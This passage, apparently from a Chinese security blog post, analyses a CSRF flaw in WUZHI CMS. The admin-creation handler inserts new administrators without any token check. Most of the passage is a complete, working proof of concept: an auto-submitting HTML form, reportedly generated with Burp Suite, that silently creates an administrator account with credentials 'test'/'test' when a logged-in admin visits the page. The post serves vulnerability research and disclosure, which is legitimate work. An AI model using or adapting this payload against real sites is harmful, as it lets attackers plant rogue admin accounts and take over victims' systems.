} else {
$show_formjs = 1;
$form = load_class('form');
$roles = $this->db->get_list('admin_role', '', '*', 0, 100);

include $this->template('power_add');
}
}

只对提交的参数进行判断检查是否有用户名,两次 get_one()从数据库查询该用户是否在会员表中存在,是否已经是管理员, $this->db->insert(‘admin’,$formdata);直接插入数据库并未对身份没有进行 token 校验或者其他手段,这就导致我们可以伪造数据包进行 csrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://wuzhicms:8126/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62" method="POST">
<input type="hidden" name="form[role][]" value="1" />
<input type="hidden" name="form[username]" value="test" />
<input type="hidden" name="form[password]" value="test" />
<input type="hidden" name="form[truename]" value="qwe" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

成功添加


wuzhicms
https://bxhhf.github.io/2025/08/27/yuque-hexo-post/wuzhicms/
作者
bxhhf
发布于
2025年8月27日
许可协议